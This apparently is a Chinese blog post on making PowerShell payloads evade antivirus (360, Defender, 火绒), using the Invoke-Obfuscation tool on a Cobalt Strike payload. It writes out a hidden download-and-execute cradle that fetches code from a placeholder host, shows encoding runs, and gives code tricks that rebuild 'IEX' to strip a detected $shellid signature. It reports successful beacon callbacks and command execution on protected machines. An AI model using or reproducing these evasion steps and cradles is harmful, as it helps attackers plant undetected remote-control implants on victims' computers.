Powershell免杀系列(二)

简介: Powershell免杀系列(二)

 powershell的免杀⽅法有很多,对代码进⾏编码是最常⻅的⼀种,这⾥介绍⼀个专⻔⽤来对powershell进⾏编码免杀的框架Invoke-Obfuscation,这也是著名的APT32组织海莲花常⽤的⼀个⼯具。

      该工具可以对powershell代码进行 ASCII/hex/octal/binary/SecureString进行加密混淆。

执行如下命令,导入模块




Powershell -ExecutionPolicy Bypass # 管理员执行 Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation

报错不用管,再导入一次。

支持的加密功能列表

  • TOKEN支持部分混淆
  • STRING整条命令混淆
  • COMPRESS将命令转为单行并压缩,
  • ENCODING编码
  • LAUNCHER选择执行方式。

help 查看参数

将刚才cs生成的payload.ps1放在刚才的文件夹

混淆文件

执行命令进行混淆







set scriptpath "C:\d\tools\miansha\Invoke-Obfuscation-Bypass-main\Invoke-Obfuscation-Bypass-main\Inv oke-Obfuscation-Bypass\payload.ps1"     # 相对路径绝对路径都可以 token # 部分混淆 all 1 out 1.ps1     # 结果输出文件

生成文件:

使用


powershell -windowstyle hidden 1.ps1 # 后台执行

可以过360云查杀,但但是过不了,火绒

使用全编码encoding






set scriptpath "C:\d\tools\miansha\Invoke-Obfuscation-Bypass-main\Invoke-Obfuscation-Bypass-main\Inv oke-Obfuscation-Bypass\payload.ps1"     # 相对路径绝对路径都可以 encoding # 部分混淆 1 out 2.ps1     # 结果输出文件

可以免杀360云查杀

火绒不行

实测8种encoding方法,火绒都有标记,感觉是某些特定字段hash匹配的,所以打算分析一下原理,一方面分析工具原理方便魔改,另外一方面,为了免杀。

注:测试中encoding-4 在win10上上线比较慢,要耐心等待,有请求但是没有正常上线,win7可以 ,其他方法大家自己实测。

混淆powershell语句

生成powershell


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/b'))"

下载并用powershell进入项目目录执行:Import-Module .\Invoke-Obfuscation.psd1;Invoke-Obfuscation如果报错请先执行:Set-ExecutionPolicy Unrestricted

输入要混淆的PS:


set scriptblock 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/b'))"'

输入ENCODING选择要编码的方式:

结果输出文件


out 2.ps1     # 结果输出文件

修改

对上面生成的马可以过360 defender,但是无法过火绒

所以分析一下生成的代码,开头有个$shellid

随便改成xxx,然后就可以过360云查杀,火绒也不杀了,原来火绒是识别的这个特征

那就,打印一下$shellid,看一下是什么

发现是ie

然后打印一下$shellid,powershell是不区分大小写的,发现是从字符串Microsoft.PowerShell中取指定字符

反正就要指定字符,那可以通过如下方法进行替换

  • 变量传递过去
  • 通过函数嵌套子函数return结果传递过去
  • switch case
  • if if 嵌套
  • 两个字符xor
  • 某些函数回调
  • 等等

方法很多上面的方法可以结合一起使用,很好绕过。

简单写几个

$x='i'
$y='e'
& ( $x+$y+'X')(( ......
 function x()
{
   function y(){
       return 'i'+'e'
  }
   return y
}
#x
& (x+'X')(( ......
function z([int]$zz){
   switch($zz){
       1 {return 'i'+'e'}
       Default {return 0}
  }
}
#z(1)
& (z(1)+'X')(( ......

然后测试可以正常上线,环境全为联网状态

然后执行命令也没问题。

分析工具

搜索上面fuzz的特征值


发现工具是进行了一个匹配替换,可以将这些位置修改成上面的任意一种方法,这样特征可以去掉一些了,当然也可以生成后自己手动修改。

然后也可以进行自定义加密算法,对内容进行加密,然后IEX执行。


最后


工具链接:https://github.com/komomon/Invoke-Obfuscation-Bypass


文章的初衷不是为了大家知道如何去用,只会套用,因为没有永恒的免杀,而是想让大家知道其中的原理,这种语言免杀绕过的原理方法,这样大家可以将前辈的方法转化为自己的思路,我们掌握的思路将多种方法融合,就是一种新的方法。


最后说一下想法:

1 可以对这个工具进行魔改,去掉他的特征,那这个工具还可以用,当然生成后手动改也可以。

2 分析目录大家可以看出作者将每种方法都放到了一个单独的ps1文件,那么可以分析一下如何调用使用,可以将文件剥离提取出来,以后可以用在自己的免杀方式上。


大家一直说只是过静态动态上线,不能执行命令,而且即使你过了动静态查杀,无法通过调用powershell.exe去执行脚本上线,所以特意截了张图,在有火绒 360全家桶的联网环境下,通过webshell 用powershell 执行命令,上线也是可以的,方法有很多,有些方法很简单,星球的评论中有说,感兴趣的大家去星球看吧。


相关文章
|
网络协议 网络安全
Powershell免杀(无文件落地免杀)
无文件落地 顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。 通过两种方式进行无文件落地的免杀,一种是出网的情况,另一种为不出网情况。 声明: 文章内容仅供网络安全爱好者学习使用,请勿用文章中提到的技术或工具做违法的事情,否则后果自负。
1142 0
CS-Powershell免杀-过卡巴等杀软上线
CS-Powershell免杀-过卡巴等杀软上线
512 0
|
安全 Shell API
powershell红队免杀上线小Tips
powershell红队免杀上线小Tips
powershell红队免杀上线小Tips
|
Python
PowerShell随机免杀结合ps2exe上线
PowerShell随机免杀结合ps2exe上线
324 0
|
安全 数据安全/隐私保护 Windows
Powershell 免杀过 defender 火绒,附自动化工具
Powershell 免杀过 defender 火绒,附自动化工具
1182 0
|
28天前
|
监控 关系型数据库 MySQL
PowerShell 脚本编写 :自动化Windows 开发工作流程
PowerShell 脚本编写 :自动化Windows 开发工作流程
24 0
|
2月前
|
Windows
Powershell 重新排列去重 Windows环境变量
【9月更文挑战第13天】本文介绍如何使用PowerShell对Windows环境变量进行重新排列和去重。首先通过`$env:`访问环境变量,接着使用`-split`命令分割路径,再利用`Select-Object -Unique`去除重复项。之后可根据需要对路径进行排序,最后将处理后的路径组合并更新环境变量。注意修改环境变量前应备份重要数据并了解潜在影响。
119 10
|
6月前
|
存储 Ubuntu Linux
windows可以安装Ubuntu,ubuntu上也可以安装Powershell
powerhsell除了可以在windows上使用外,还可以在Ubuntu上部署开发环境。下面介绍Ubuntu上安装powershell的方法。
197 0
|
Shell Linux 开发工具
windows中cmd和PowerShell批处理命令
之前在 Git 批量删除本地分支,有用到 Linux 或 MacOS 下的批处理命令,这个命令中的 grep、xargs 本身是 Shell script,在 windows 中的 cmd 和 PowerShell 中是不能用的
98 0
|
JavaScript Windows
[Vue]解决 Windows PowerShell 不识别 vue 命令的问题
[Vue]解决 Windows PowerShell 不识别 vue 命令的问题